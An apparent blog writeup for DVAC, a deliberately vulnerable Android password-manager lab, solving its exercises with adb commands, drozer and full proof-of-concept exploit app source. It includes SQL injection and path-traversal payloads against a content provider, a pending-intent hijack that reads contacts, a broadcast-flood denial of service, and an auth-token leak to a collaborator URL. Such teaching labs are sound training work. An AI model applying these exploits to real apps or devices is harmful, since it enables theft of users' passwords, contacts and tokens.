The DVAC — Damn Vulnerable Android Components — The sieve APK reborn — Writeup

Jafar Pathan
23 min readApr 26, 2024

--

DVAC | Damn Vulnerable Android Components

Hey there Android Hacker! This is the official launch and writeup for the DVAC — Damn Vulnerable Android Components android application.

I will solve the DVAC via various possible way including using drozer, via adb and via manual exploit APK development.

Legal Warning: This Damn Vulnerable Android Components (DVAC) APK is provided for educational and ethical purposes only. Users are solely responsible for ensuring compliance with all applicable laws and regulations, and the developer(s) disclaim any liability for misuse or damage caused by DVAC.

Note: The Functionality Explanation, Setup and Introduction of DVAC — Damn Vulnerable Android Components is provided below after the walkthrough.

Download now https://github.com/zinja-coder/Damn-Vulnerable-Android-Components/releases

Walk through -

1. Hardcoded Credentials

Open the DVAC apk file in jadx tool.

Open the strings.xml file.

Note the string with ‘backdoor’ name.

Decode the Base64 Encoded String.

Enter the found backdoor string and bypass the login.

2. Bypass Login via Exported Activity

Analyze the Manifest.xml file and look for the exported activities.

Start the exported activity directly to bypass the login.

3. Insecure Storage

Analyze the LoginActivity class and note the ‘isValidPassword()’ method. This method is utilizing share preferences as highlighted below.

Restart the adb as root. (This might not work in physical device. For physcial device adb shell and then use su to become root.)

Access the share preferences and get note the stored password. (Note: Although this does not looks like an issue, but in real pentest engagements, such way storing sensitive data such as passwords, API keys are insecure and poses threat. Instead Encrypted Shared Preference should be used — https://developer.android.com/reference/androidx/security/crypto/EncryptedSharedPreferences )

4. Insecure Exported Activity With Intent — Changing the password

Analyze the AndroidManifest.xml file. Note the exported activity with intent filter.

Analyze the ChangePasswordActivity class and note the use of intent. It requires two intents — 1. currentPassword & 2. newPassword.

Read the current password from the share preference and change the password using following command.

adb shell am start -n com.zin.dvac/.ChangePasswordActivity --es currentPassword "<current password>" --es newPassword "<new password>"

Any app knowing the password ( or suppose the app has initial default password) can change the user’s password.

5. Changing the Password via Broadcast Receiver

This one is similar to previous, only difference is here, the broadcast receiver is used.

Check the ChangePasswordReceiver class.

Change the password using following command -

adb shell am broadcast -a com.zin.dvac.CHANGE_PASSWORD_ACTION --es currentPassword "SecurePass" --es newPassword "123456" -n com.zin.dvac/.ChangePasswordReceiver

6. SQL Injection Content Provider

Make sure you are not root.

Analyze the AndroidManifest.xml file and look for the provider, here the permission is declared but it is only applied to /passwords, the /passwords/ can still be accessed without any permissions.

Note the permissions -

path is “/passwords” not “/passwords/”

Below is the code as above shown in screen shots.

<provider android:name="com.zin.dvac.PasswordProvider" android:enabled="true" android:exported="true" android:authorities="com.zin.dvac.provider">  
<path-permission android:readPermission="com.zin.dvac.READ_PASS" android:writePermission="com.zin.dvac.WRITE_PASS" android:path="/passwords"/>
</provider>

This allows any app to access /passwords/ without any permissions which is same as /passwords

Analyze the PasswordProvider class.

Note the URI of the ContentProvider. Now analyze the CRUD methods.

Note that uri is not sanitized, hence we can insert our own malicious query as uri. From above we can assume that the original query is something like — select * from passwords where id=<id>;

Try to read the content of database using following command

adb shell content query --uri content://com.zin.dvac.provider/passwords --projection "id"

It will throw error as we don’t have permission to read the /passwords content provider.

We can use adb to interact with the database as follows —

adb shell content query --uri content://com.zin.dvac.provider/passwords/

We can select specific field using --projection option of the content utility of adb.

Now if we enter following query as error will be thrown —

adb shell content query --uri content://com.zin.dvac.provider/passwords/ --projection "'id,username;'--"

Now try to complete the query

adb shell content query --uri content://com.zin.dvac.provider/passwords/ --projection "'id,username from passwords;'--" 

Now, we can insert malicious payloads to perform UNION based SQL injections. First lets get the list of tables in current database.

adb shell content query --uri content://com.zin.dvac.provider/passwords/ --projection "'username from passwords union SELECT name FROM sqlite_master WHERE type=\"table\";'--"

We can then list columns using following query

adb shell content query --uri content://com.zin.dvac.provider/passwords/ --projection "'username from passwords union SELECT sql FROM sqlite_master WHERE type=\"table\" AND name=\"secret\";'--"

We can use the adb to insert the malicious query as follows to read the flag form secret table.

adb shell content query --uri content://com.zin.dvac.provider/passwords/ --projection "'username from passwords union SELECT flag from secret;'--"

We can also use the --where option to perform this injection -

adb shell content query --uri content://com.zin.dvac.provider/passwords/ --where "'id=1 union SELECT 1,flag,null,null from secret;'--"

7. Path Traversal Content Provider

Anlyze the PasswordProvider class.

Note that the uri is used without any sanitization. This allows us to read system files via path traversal as following:

adb shell
content read --uri content://com.zin.dvac.provider/../../../../../../../../etc/hosts

By this you can also read files residing inside application’s private data directory as follows:

adb shell content read --uri content://com.zin.dvac.provider/../../../../../../../../data/data/com.zin.dvac/files/secret.txt 

8. Exposed Service Over Ports

Analyze the AndroidManifest.xml file.

Analyze the PasswordSocketService class.

This service is exporting the database table over port 1335 without any restrictions.

To exploit this, first expose this port to outside of the android device.

adb forward tcp:1335 tcp:1335

Then we can either use nc tool or any other tool to make connection with this serivce.

nc 127.0.0.1 1335

Or we can use python to retrieve data.

import socket

host = '127.0.0.1'
port = 1335

socket_object = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_object.connect((host, port))

response = socket_object.recv(1024).decode()
print(response)

socket_object.close()

9. Exposed Service Over Messaging

Analyze the AndroidManifest.xml file.

Analyze the PasswordExportService class.

Using Drozer -

Manual Exploit —

  • POCPasswordManager.java —
package com.zin.poc_password;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.os.Messenger;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;

// Define the package and import necessary classes
public class PocPasswordManager extends Activity {

// Messenger for communicating with the service
private Messenger passwordExportService;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.poc_password_manager);

// Bind to the PasswordExportService
Intent intent = new Intent("com.zin.dvac.PASSWORD_EXPORT_ACTION"); // Create an intent to bind to the service with a specific action
intent.setComponent(new ComponentName("com.zin.dvac", "com.zin.dvac.PasswordExportService")); // Set the component name for the service
bindService(intent, connection, Context.BIND_AUTO_CREATE); // Bind to the service with a connection

// Retrieve references to UI elements
Button btnFetchXml = findViewById(R.id.btnFetchXml);
final TextView txtXmlData = findViewById(R.id.txtXmlData);

// Set click listener for the button
btnFetchXml.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
fetchXmlData(txtXmlData); // Call the method to fetch XML data
}
});
}

// Define the connection to the service
private ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName className, IBinder service) {
passwordExportService = new Messenger(service); // Initialize the Messenger object when the service is connected
}

@Override
public void onServiceDisconnected(ComponentName arg0) {
passwordExportService = null; // Reset the Messenger object when the service is disconnected
}
};

// Use the exported service to fetch XML data
private void fetchXmlData(final TextView txtXmlData) {
if (passwordExportService != null) { // Check if the Messenger object is initialized
// Create a Message with what=1 to request password export
Message message = Message.obtain(null, 1, 0, 0);
// Set the Messenger for the service as the replyTo for the response
message.replyTo = new Messenger(new FetchXmlResponseHandler(txtXmlData));
try {
// Send the message to the service
passwordExportService.send(message);
} catch (Exception e) {
e.printStackTrace(); // Handle exceptions, if any
}
}
}

// Handler to handle the response from the service
private static class FetchXmlResponseHandler extends Handler {
private final TextView txtXmlData;

FetchXmlResponseHandler(TextView txtXmlData) {
this.txtXmlData = txtXmlData; // Initialize the TextView reference
}

@Override
public void handleMessage(Message msg) {
switch (msg.what) {
case 1: // Check the message code
// Received exported XML data from the service
Bundle bundle = msg.getData();
String xmlData = bundle.getString("xmlData"); // Retrieve XML data from the bundle
// Handle the exported XML data as needed
// For example, display it in a TextView
txtXmlData.setText(xmlData); // Set the XML data to the TextView
break;
default:
super.handleMessage(msg); // Call the superclass method for default handling
}
}
}

@Override
protected void onDestroy() {
// Unbind the service when the activity is destroyed
unbindService(connection); // Unbind from the service connection
super.onDestroy(); // Call the superclass method for cleanup
}
}
  • poc_password_manager.xml —
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:padding="16dp">

<Button
android:id="@+id/btnFetchXml"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Fetch XML Data" />

<TextView
android:id="@+id/txtXmlData"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="16dp"
android:text="XML Data will appear here"
android:textSize="18sp" />
</LinearLayout>
  • AndroidManifest.xml -
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<queries >
<package android:name="com.zin.dvac" />
</queries>

<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@drawable/face"
android:label="@string/app_name"
android:roundIcon="@drawable/face"
android:supportsRtl="true"
android:theme="@style/Theme.POCPassword"
tools:targetApi="34" >
<activity android:name=".PocPasswordManager" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>


</manifest>

10. Privilege Escalation — Pending Intent

Upon using the DVAC application, note that the application creates a notification, which when clicked upon performs no action and just disappears.

Let’s analyze the application to understand logic behind this notification.

Decompile the APK using Jadx-GUI, Navigate to the Manifest file, Note that the application has permissions to read the contacts.

Analyze where this permission is being used.

Upon analyzing the application, we can see The PasswordManager acitivity triggers notification via pending intent.

As we can see below pending intent is used for creating a notification.

The issue here is it does not specifies the component in pending intent explicitly and flag is mutable.

Due to this, any app can leverage the permissions of the application to elevate its own privileges.

Creating Exploit apk to read contact using DVAC permission -

The exploit flow will be following — Take permission to read notification -> Listen for incoming notification -> hijack the notification intent -> set custom component in hijacked intent -> read the contacts.

First let us see the working of exploit APK.

  1. Take permission to read the notifications.

2. Trigger the notification from DVAC.

3. The Exploit app has read the contacts without any permissions.

Following is the code for POC application -

Required Files:

  • AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>  
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@drawable/face"
android:label="@string/app_name"
android:roundIcon="@drawable/face"
android:supportsRtl="true"
android:theme="@style/Theme.PendingIntent"
tools:targetApi="31">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="com.zin.pendingintent.ListenService" android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" android:exported="true">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService"/>
</intent-filter>
</service>
<activity android:name="com.zin.pendingintent.ReadAndDisplayContanctsActivity" android:exported="true">
<intent-filter>
<action android:name="MY.ACTION"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
</application>
</manifest>

Below acitivity takes permission from user to read the notifications.

  • MainActivity.java
package com.zin.pendingintent;  

import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.view.View;
import android.widget.Button;

public class MainActivity extends AppCompatActivity {

// Button for opening notification listener settings
Button btnNotif;

@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

// Find the Button with ID R.id.notif
Button button = findViewById(R.id.notif);
this.btnNotif = button;

// Set click listener for the button
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
// Create an intent to open Notification Listener settings
Intent intent = new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS");
// Start the activity to open Notification Listener settings
MainActivity.this.startActivity(intent);
}
});
}
}
  • activity_main.xml
<?xml version="1.0" encoding="utf-8"?>  

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical">

<Button
android:id="@+id/notif"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Enable Notification Access" />
</LinearLayout>

This activity is used to read and display the contact on UI.

  • ReadAndDisplayContanctsActivity.java
package com.zin.pendingintent;  

import android.app.Activity;
import android.content.ClipData;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.widget.TextView;

public class ReadAndDisplayContanctsActivity extends Activity {

// URI to store contacts uri
private Uri contactsUri;

// TextView to display contacts information in the UI
private TextView textView;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

// Set the layout for the activity
setContentView(R.layout.read_and_display_contacts_activity);

// Initialize the TextView for displaying contacts
textView = findViewById(R.id.contacts);

// Retrieve the intent that started the activity
Intent intent = getIntent();

// Extract the ClipData from the intent, if available
ClipData clipData = intent.getClipData();

// Set the URI to the first item in the ClipData, if available
contactsUri = clipData.getItemAt(0).getUri();
// StringBuilder to store contact information
StringBuilder contactsInfo = new StringBuilder();
// Cursor to query the media provider for contact information
Cursor cursor = getContentResolver().query(contactsUri, null, null, null, null);
try {
// Iterate through the cursor to retrieve contact details
while (cursor.moveToNext()) {
String name = cursor.getString(cursor.getColumnIndex("name"));
String number = cursor.getString(cursor.getColumnIndex("number"));

// Append contact information to the StringBuilder
contactsInfo.append(name).append(":").append(number).append("\n");
}
cursor.close();
} catch (Throwable th) {
// Log any exceptions or errors
th.printStackTrace();
}
textView.setText(contactsInfo.toString());
}
}
  • activity.xml
<?xml version="1.0" encoding="utf-8"?>  
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical">

<TextView
android:id="@+id/contacts"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Exploit Street Notification PendingIntent" />
</LinearLayout>

This service listen for any notification and perform exploit if notfication is from DVAC and it is pending notification.

  • ListenService.java
package com.zin.pendingintent;  

import android.app.PendingIntent;
import android.content.ClipData;
import android.content.Intent;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.net.Uri;

public class ListenService extends NotificationListenerService {

@Override
public void onNotificationPosted(StatusBarNotification statusBarNotification) {
// Check if the notification is from the desired package
if (!statusBarNotification.getPackageName().equals("com.zin.dvac")) {
return; // Ignore notifications from other packages
}

// Get the content intent from the notification
PendingIntent pendingIntent = statusBarNotification.getNotification().contentIntent;

// Create an intent to hijack the notification action
Intent hijackIntent = new Intent();
hijackIntent.setPackage("com.zin.pendingintent");
hijackIntent.setAction("MY.ACTION");

// Set clip data with a raw URI to content://contacts/people
hijackIntent.setClipData(ClipData.newRawUri(null, Uri.parse("content://contacts/people")));

// Set flags to the intent
hijackIntent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);

// Send the hijackIntent using the original PendingIntent
try {
// Send the hijackIntent as a replacement for the original PendingIntent
pendingIntent.send(getApplicationContext(), 0, hijackIntent, null, null);
} catch (PendingIntent.CanceledException e) {
e.printStackTrace();
}
}
}

11. Denial Of Service via Broadcast Receiver

Note that the application is listening for ACTION_SHUTDOWN to gracefully close the application.

But the receiver class does not validates the actual intent.

It triggers the app to close and save the data.

Here the problem is that above code is checking what kind of broadcast it has receiving and whether is it actually coming from system or not, this means any app can send any broadcast to this receiver to force to it stop even if the mobile is not shutting down.

Following is the POC application

Required Files —

Following is the code for above POC apk.

  • MainAcitivity.java
package com.zin.dospoc;

import android.content.Intent;
import android.os.Bundle;

import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

// Set the layout for the activity
setContentView(R.layout.activity_main);

// Start the SendService
startSendService();
}

// Method to start the SendService
public void startSendService() {
// Create an Intent to start the SendService
Intent serviceIntent = new Intent(this, SendService.class);
// Start the service using the created Intent
startService(serviceIntent);
}
}

Must reside in res/layouts

  • activity_main.xml
<?xml version="1.0" encoding="utf-8"?>  
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/main"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">

<TextView android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="DOS POC"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />

</androidx.constraintlayout.widget.ConstraintLayout>
  • SendService.java
package com.zin.dospoc;

import android.app.Service;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;

public class SendService extends Service {

// Action string for the broadcast
private static final String ACTION_GARBAGE_RANDOM = "garbage.random.ACTION";
// Handler and Runnable for scheduling broadcast sending
private Handler mHandler;
private Runnable mRunnable;

@Override
public void onCreate() {
super.onCreate();
// Initialize Handler and Runnable
mHandler = new Handler();
mRunnable = new Runnable() {
@Override
public void run() {
// Call method to send broadcast
sendBroadcastToReceiver();
// Log message indicating broadcast sent
Log.d("send", "Broadcast sent");
// Schedule the next execution of the Runnable after 3000 milliseconds (3 seconds)
mHandler.postDelayed(this, 3000);
}
};
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// Log message indicating service started
Log.d("SendService", "Service started");
// Start the Runnable immediately
mHandler.postDelayed(mRunnable, 0);
// Return START_NOT_STICKY to ensure the service does not restart automatically if killed by the system
return START_NOT_STICKY;
}

@Override
public IBinder onBind(Intent intent) {
// Return null as this service does not support binding
return null;
}

// Method to send broadcast to receiver
private void sendBroadcastToReceiver() {
// Create an Intent with the specified action
Intent intent = new Intent();
intent.setAction(ACTION_GARBAGE_RANDOM);
// Set the component name to specify the receiver's package and class
intent.setComponent(new ComponentName("com.zin.dvac", "com.zin.dvac.ShutDownReceiver"));
// Send the broadcast
sendBroadcast(intent);
}
}
  • AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>  
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">

<application android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@drawable/face"
android:label="@string/app_name"
android:roundIcon="@drawable/face"
android:supportsRtl="true"
android:theme="@style/Theme.DOSPoc"
tools:targetApi="31">
<activity android:name=".MainActivity"
android:exported="true">
<intent-filter> <action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter> </activity> <service android:name=".SendService"
android:exported="true"
android:enabled="true">
</service> </application>
</manifest>

12. Broadcast Sniffing

Analyze the AndroidManifest file and note that the ChangePasswordReceiver and its action.

In PasswordMangerActivity, it sends the same broadcast.

We can use the drozer to sniff the exposed Broadcasts, to fetch sensitive data.

Go to PasswordMangerActivity and trigger the broadcast.

The drozer has successfully sniffed the broadcast and its content.

13. Access Non-Exported Activity

Now select the Manifest file from right hand menu

Note that the AuthActivity is not exported.

Select the AuthActivity from right hand corner.

It receives intent with uri to display the web page. But also note that there is Auth header with token too, now this activity contains sensitive information/performing sensitive information.

Further analyze the exported activities and check which activity is starting this activity. The PasswordMangerActivity behaves as a proxy component to interact with AuthActivity as PasswordManagerActivity is exported we can start AuthActivity via PasswordManagerActivity.

And note that it is starting the AuthActivity.

From above code, we can see that it PasswordManagerActivity is expecting an intent with webUri data. When it receives the intent it forwards it to handleIncomingIntent(incomingIntent) method.

As we can see in below code, this metod starts the takes the intent and passes it to the WebViewActivity, hence starting this activity.

After understanding the logic, we can exploit it as follows — 1. Start the exported activity, 2. Pass an intent to the exported activity to start the non-exported activity, 3. Make it perform sensitive operation and steal the auth token.

Go to following web app — https://app.interactsh.com/#/ (or any site with similar functionality or burp suite collaborator) and copy following URL.

Use the following to trigger the exploit.

adb shell am start -n com.zin.dvac/.PasswordManagerActivity --es "webUri" "<Copied URL>"

The non-exported activity has been started.

We got the auth token on our controlled domain.

14. Access Non-Exported Content Provider

Investigate the AndroidManifest.xml file. Observe “android:grantUriPermissions” is set to true.

Open the SecretFileProvider activity. Observe the openFile function accepts URI which is not validated, meaning any URI can be passed.

But the exported flag for this activity is set to false. We need to look for a way to call this provider from a proxy activity. Notice the following activity.

Observe in this activity setResult method is called with getIntent(), it sets the result and returns the intent that started the activity.

Creating a POC APK to exploit Content provider — [Note: following is not full code prepare your own APK from below code]

import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.setData(Uri.parse("content://com.zin.dvac.secret/data/data/com.zin.dvac/files/secret.txt"));
intent.setClassName("com.zin.dvac","com.zin.dvac.SecretFileActivity");
intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivityForResult(intent,0);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (data != null && data.getData() != null) {
String result;
try (InputStream inputStream = getContentResolver().openInputStream(data.getData())) {
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
result = reader.readLine();
Log.d("Flag", result);
} catch (Throwable th) {
throw new RuntimeException(th);
}
}
}
}

Observe that the data of secret file is printed in log.

What is DVAC?

Damn Vulnerable Android Components (DVAC) is an educational Android application intentionally designed to expose and demonstrate vulnerabilities related to various Android components such as Activities, Intents, Content Providers, and Broadcast Receivers. It is structured as a password manager application to manage and store passwords securely (LOL). It is inspired from sieve password manager (another vulnerable android application focusing on android components vulerabilities).

  • Tested on both virtual and physical devices
  • Tested on Android v12

Download & Install

1. Download the latest release from Releases- https://github.com/zinja-coder/Damn-Vulnerable-Android-Components/releases
2. Install it either by drag and drop if you are using a virtual device or using adb:

adb install DVAC.apk

Why I developed this Lab?

Sieve was the application which is usually used to demonstrate the working of the Drozer application. But It is old now and don’t work properly on newer android versions. That is the reason I have developed this application which is inspired from sieve applicaiton containing similar vulnerabilities but works on android version upto 12. Hence sieve reborn!

DVAC aims to provide similar functionality while working on modern Android versions. DVAC provides a hands-on learning experience for beginners in Android pentesting and cybersecurity and developed while keeping beginners who find it difficulty to get proper lab for learning android pentesting.

DVAC Functionality —

The DVAC is inspired from SIEVE application. It is vary simple password manager app.

On first launch, user will be greeted with Welcome Activity. Register your login password here and click on ‘Register’ button.

Next screen will be the login screen. Enter the registered password to proceed further.

Now you are in main screen. Please allow access to contacts.

This is the main activity of the DVAC — ( Damn Vulnerable Android Components ).

It contains six buttons -

  1. Add New Password
  2. Export Database
  3. Import Database
  4. Change Password
  5. Fetch XML Format
  6. Vulnerabilities

At the bottom right corner we have floating button which will redirect to Developer’s github profile.

  1. ADD NEW PASSWORD —

Clicking on the ‘ADD NEW PASSWORD’ button will start new activity which allows users to add new password.

Enter the Username, Password and Description.

Click on ‘ADD NEW PASSWORD’ button to store the password.

The stored password can be seen in main screen.

Clicking on ‘DELETE’ button will delete the stored password.

As you can see password deleted successfully.

All of the stored password will be displayed on the main screen.

Clicking on the any username will redirect to detailed details of that password.

As you can see, we can see the details of the password. From here also we can delete this password.

2. EXPORT DATABASE

Second button is ‘EXPORT DATABASE’, clicking on this button will export the passwords in xml file.

If not provided, clicking on this button will ask for access to storage permission to store the passwords in xml file. Click on ALLOW.

After providing the permission, click on ‘EXPORT DATABASE’ again.

Enter file name and click on ‘save’.

Database (passwords) will be exported successfully.

3. IMPORT DATABASE —

Third button is ‘IMPORT DATABASE’, it imports the exported passwords from xml file.

Select the XML file to import.

And the passwords will be imported.

4. FETCH XML FORMAT —

Fourth button is ‘FETCH XML FORMAT’, click on it to go to the respective screen.

This Activity allows you to fetch the stored passwords in the xml format. Click on the ‘FETCH XML’ button.

The stored passwords will be printed on the screen in xml format.

5. CHANGE PASSWORD —

The fifth button is ‘CHANGE PASSWORD’ button, it allows you to change your login password.

Enter your current password and new password.

Click on ‘CHANGE’ button.

Click on ‘CHANGE PASSWORD’ button.

Password will be changed successfully.

6. VULNERABILITIES —

The last button is ‘VULNERABILITIES’ which shows the list of vulnerabilities along with their hints.

As you can see below.

That’s it. The functionality of the DVAC is beginner friendly and extremely simple to meet the requirements of the new comers in field of Android Hacking.

Setting up the tools

Drozer — https://hub.docker.com/r/withsecurelabs/drozer

Android Studio — https://developer.android.com/studio

JadxGUI — https://github.com/skylot/jadx

ADB — https://developer.android.com/tools/releases/platform-tools

Contribute

Contributions to DVAC are welcome and encouraged! You can contribute to the project in the following ways:

Report Bugs: If you encounter any bugs or issues while using DVAC, please open an issue on GitHub. This helps us identify and fix problems quickly.

Fix Issues: If you’re a developer, consider fixing open issues in the repository. Your contributions can improve the overall quality of DVAC.

Enhancements: You can suggest enhancements or new features by creating an issue on GitHub. We value your input and ideas for making DVAC better.

Feedback: Share your feedback and suggestions for improving DVAC. Your input helps us understand how users are using the app and how we can make it more useful.

Spread the Word: Help us reach more people by sharing DVAC on social media, with your friends and colleagues, and in communities interested in Android pentesting and cybersecurity.

Spread the Word!

Contributions are extremely easy to do and as equally important. All you have to do is -

1. Star the Repository

If you find DVAC useful, consider starring the GitHub repository. This simple action helps raise awareness of the project among other Android Pentesters, developers and enthusiasts.

2. Share with Others

Share DVAC with your friends, colleagues, and on social media platforms. Spread the word about this educational tool to help more people learn about Android pentesting and cybersecurity.

3. Write Write-ups and Tutorials

Write-ups and tutorials about your experiences with DVAC can be incredibly valuable. Share your insights, tips, and tricks for using the app effectively. These resources can help others understand the vulnerabilities better and learn how to mitigate them.

4. Make its Presence Known on Social Media

Share DVAC on social media platforms like Twitter, LinkedIn, and others. Use hashtags related to cybersecurity, Android development, and pentesting to reach a wider audience. Your posts can encourage others to explore the app and contribute to its development.

Contributing to DVAC is easy and can be done in many ways. Your support and contributions are highly appreciated and help make DVAC a better learning resource for everyone.

License

DVAC is licensed under the GNU General Public License (GPL), which means that it is open-source software and can be freely used, modified, and distributed by anyone. You can find the full text of the license in the LICENSE file in the repository.

Support

Found above post informative? Learned something new? Why not support me. Kindly support my work via ko-fi -> https://ko-fi.com/zinjacoder

https://ko-fi.com/zinjacoder

Contact

If you have any questions, suggestions, or feedback, feel free to connect with me on:

LinkedIn: jafar-pathan
Twitter: @zinja_coder
Threads: jafar.khan.pathan_

My Other Project

Check out my other project:

The Browser Bruter: The FIRST-EVER! browser-based web application penetration testing tool.

My Other Blogs

How to Create Documentation for your next hacking tool!

The Curse Of Encryption — Unleashing The Browser Bruter

Solving TryHackMe’s Malware and Reverse Engineering Challenges — Dear Q

Hey Hacker, Thank You So Much For Reading!

--

--